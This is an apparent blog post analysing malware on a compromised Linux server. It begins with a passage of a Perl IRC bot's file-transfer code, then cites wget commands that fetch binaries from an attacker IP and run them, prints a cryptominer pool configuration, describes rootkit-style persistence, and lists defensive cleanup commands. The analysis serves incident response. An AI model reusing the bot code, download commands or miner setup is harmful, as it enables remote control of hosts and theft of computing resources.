next; 725 } 726 if ($dcctipo eq "get") { 727 $DCC{$fh}{curbyte} += length($msg); 728 729 my $cur_byte = $DCC{$fh}{curbyte}; 730 731 open(FILE, ">> $arquivo"); 732 print FILE "$msg" if ($cur_byte <= $bytes); 733 close(FILE); 734 735 my $packbyte = pack("N", $cur_byte); 736 print $fh "$packbyte"; 737 738 if ($bytes == $cur_byte) { 739 $dcc_sel->remove($fh); 740 $fh->close; 741 $DCC{$fh}{status} = "Recebido"; 742 $DCC{$fh}{ftime} = time; 743 next; 744 } 745 } elsif ($dcctipo eq "send") { 746 my $send = $fh->accept; 747 $send->autoflush(1); 748 $dcc_sel->add($send); 749 $dcc_sel->remove($fh); 750 $DCC{$send}{tipo} = 'sendcon'; 751 $DCC{$send}{itime} = time; 752 $DCC{$send}{nick} = $nick; 753 $DCC{$send}{bytes} = $bytes; 754 $DCC{$send}{curbyte} = 0; 755 $DCC{$send}{arquivo} = $arquivo; 756 $DCC{$send}{ip} = $send->peerhost; 757 $DCC{$send}{porta} = $send->peerport; 758 $DCC{$send}{status} = "Enviando"; 759 open(FILE, "< $arquivo"); 760 my $fbytes; 761 read(FILE, $fbytes, 1024); 762 print $send "$fbytes"; 763 close FILE; 764# delete($DCC{$fh}); 765 } elsif ($dcctipo eq 'sendcon') { 766 my $bytes_sended = unpack("N", $msg); 767 $DCC{$fh}{curbyte} = $bytes_sended; 768 if ($bytes_sended == $bytes) { 769 $fh->close; 770 $dcc_sel->remove($fh); 771 $DCC{$fh}{status} = "Enviado"; 772 $DCC{$fh}{ftime} = time; 773 next; 774 } 775 open(SENDFILE, "< $arquivo"); 776 seek(SENDFILE, $bytes_sended, 0); 777 my $send_bytes; 778 read(SENDFILE, $send_bytes, 1024); 779 print $fh "$send_bytes"; 780 close(SENDFILE); 781 } 782 } 783} 784 785sub SEND { 786 my ($nick, $arquivo) = @_; 787 unless (-r "$arquivo") { 788 return(0); 789 } 790 my $dccark = $arquivo; 791 $dccark =~ s/[.*\/](\S+)/$1/; 792 my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'}; 793 my $longip = unpack("N",inet_aton($meuip)); 794 my @filestat = stat($arquivo); 795 my $size_total=$filestat[7]; 796 if ($size_total == 0) { 797 return(0); 798 } 799 my ($porta, $sendsock); 800 do { 801 $porta = int rand(64511); 802 $porta += 1024; 803 $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock); 804 } until $sendsock; 805 $DCC{$sendsock}{tipo} = 'send'; 806 $DCC{$sendsock}{nick} = $nick; 807 $DCC{$sendsock}{bytes} = $size_total; 808 $DCC{$sendsock}{arquivo} = $arquivo; 809 &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total"); 810} 811 812sub GET { 813 my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_; 814 return(0) if (-e "$arquivo"); 815 if (open(FILE, "> $arquivo")) { 816 close FILE; 817 } else { 818 return(0); 819 } 820 my $dccip=fixaddr($dcclongip); 821 return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); 822 my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0); 823 $dccsock->autoflush(1); 824 $dcc_sel->add($dccsock); 825 $DCC{$dccsock}{tipo} = 'get'; 826 $DCC{$dccsock}{itime} = time; 827 $DCC{$dccsock}{nick} = $nick; 828 $DCC{$dccsock}{bytes} = $bytes; 829 $DCC{$dccsock}{curbyte} = 0; 830 $DCC{$dccsock}{arquivo} = $arquivo; 831 $DCC{$dccsock}{ip} = $dccip; 832 $DCC{$dccsock}{porta} = $dccporta; 833 $DCC{$dccsock}{status} = "Recebendo"; 834} 835 836sub Status { 837 my $socket = shift; 838 my $sock_tipo = $DCC{$socket}{tipo}; 839 unless (lc($sock_tipo) eq "chat") { 840 my $nick = $DCC{$socket}{nick}; 841 my $arquivo = $DCC{$socket}{arquivo}; 842 my $itime = $DCC{$socket}{itime}; 843 my $ftime = time; 844 my $status = $DCC{$socket}{status}; 845 $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime}); 846 847 my $d_time = $ftime-$itime; 848 849 my $cur_byte = $DCC{$socket}{curbyte}; 850 my $bytes_total = $DCC{$socket}{bytes}; 851 852 my $rate = 0; 853 $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; 854 my $porcen = ($cur_byte*100)/$bytes_total; 855 856 my ($r_duv, $p_duv); 857 if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) { 858 $r_duv = $3; $r_duv++ if $4 >= 5; 859 $rate = "$1\.$2"."$r_duv"; 860 } 861 if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { 862 $p_duv = $3; $p_duv++ if $4 >= 5; 863 $porcen = "$1\.$2"."$p_duv"; 864 } 865 return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen"); 866 } 867 return(0); 868} 869 870sub fixaddr { 871 my ($address) = @_; 872 873 chomp $address; 874 if ($address =~ /^\d+$/) { 875 return inet_ntoa(pack "N", $address); 876 } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { 877 return $address; 878 } elsif ($address =~ tr/a-zA-Z//) { 879 return inet_ntoa(((gethostbyname($address))[4])[0]); 880 } else { 881 return; 882 } 883}

这个perl代码,主要是与IRC服务器通讯,通讯的目的是让“对方”控制当前主机;猜测其主要作用是控制下载真正的木马程序并发起DDOS攻击。

前面的shell脚本代码中的 wget http://65.254.63.20/apache 和 wget http://65.254.63.20/apacheaes 是下载可执行程序,完成下载后被更名为apache和apache2并启动;所下载的 http://65.254.63.20/httpd.conf 文件是作为这两个可执行程序的配置文件,内容如下:

1{ 2 "url" : "stratum+tcp://176.9.147.78:45560", 3 "url" : "stratum+tcp://176.9.2.145:45560", 4 "url" : "stratum+tcp://176.9.147.178:45560", 5 "user" : "bl4ckbone@protonmail.com", 6 "pass" : "x", 7 8 "algo" : "cryptonight", 9 10 "quiet" : true 11}

猜测的下一步动作:

上面的perl程序和apache、apache2程序运行一定时间后,会自动下载名称为 xxxxxLinux 可执行程序(其中 xxxxx 是随机名称),这个文件被执行以后,会释放出一些可执行程序 以替换掉系统中的相应可执行程序(如 ps,lsof,ss,netstat 等)。/etc/cron.daily/目录下会产生相应的执行文件。/etc/rc.d/rc.local 被修改加入相应执行程序完整路径,/etc/rc.local软链接被删除并复制修改后的/etc/rc.d/rc.local文件过来(充当/etc/rc.local文件)。

一些有用的命令:

(1)查找根路径(/)下最近50天内被修改的可执行文件: find / -type f -perm /111 -mtime -50

(2)查看指定文件的可修改属性: lsattr /etc/rc.d/rc.local  # 显示内容如下:

-------------e-- /etc/rc.d/rc.local

(3)设置指定文件为禁止修改: chattr +i /etc/rc.d/rc.local   # 执行后该文件不允许删除[ rm -f ]和修改,注意只能对root用户组的文件进行设置

# lsattr /etc/rc.d/rc.local

----i--------e-- /etc/rc.d/rc.local                  # 注意这里第5列为字母i

(4)设置指定文件为允许修改: chattr -i /etc/rc.d/rc.local    # 恢复为可删除和修改

(5)强制退出指定用户登录: pkill -9 -t pts/1  # 这里的 pts/1 是执行 w 命令以后相应已登录用户的TTY列内容

(6)获得指定可执行文件的文本内容: strings /root/xxxxxLinux2.6>strings_Linux26.txt  # 用于查看和分析木马程序中的可疑文本,如 IP地址或域名

<<后续根据情况再修改>>

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

swap空间的增减方法

(1)增大swap空间去激活swap交换区:swapoff v /dev/vg00/lvswap扩展交换lv:lvextend L 10G /dev/vg00/lvswap重新生成swap交换区:mkswap /dev/vg00/lvswap激活新生成的交换区:swapon v /dev/vg00/lvswap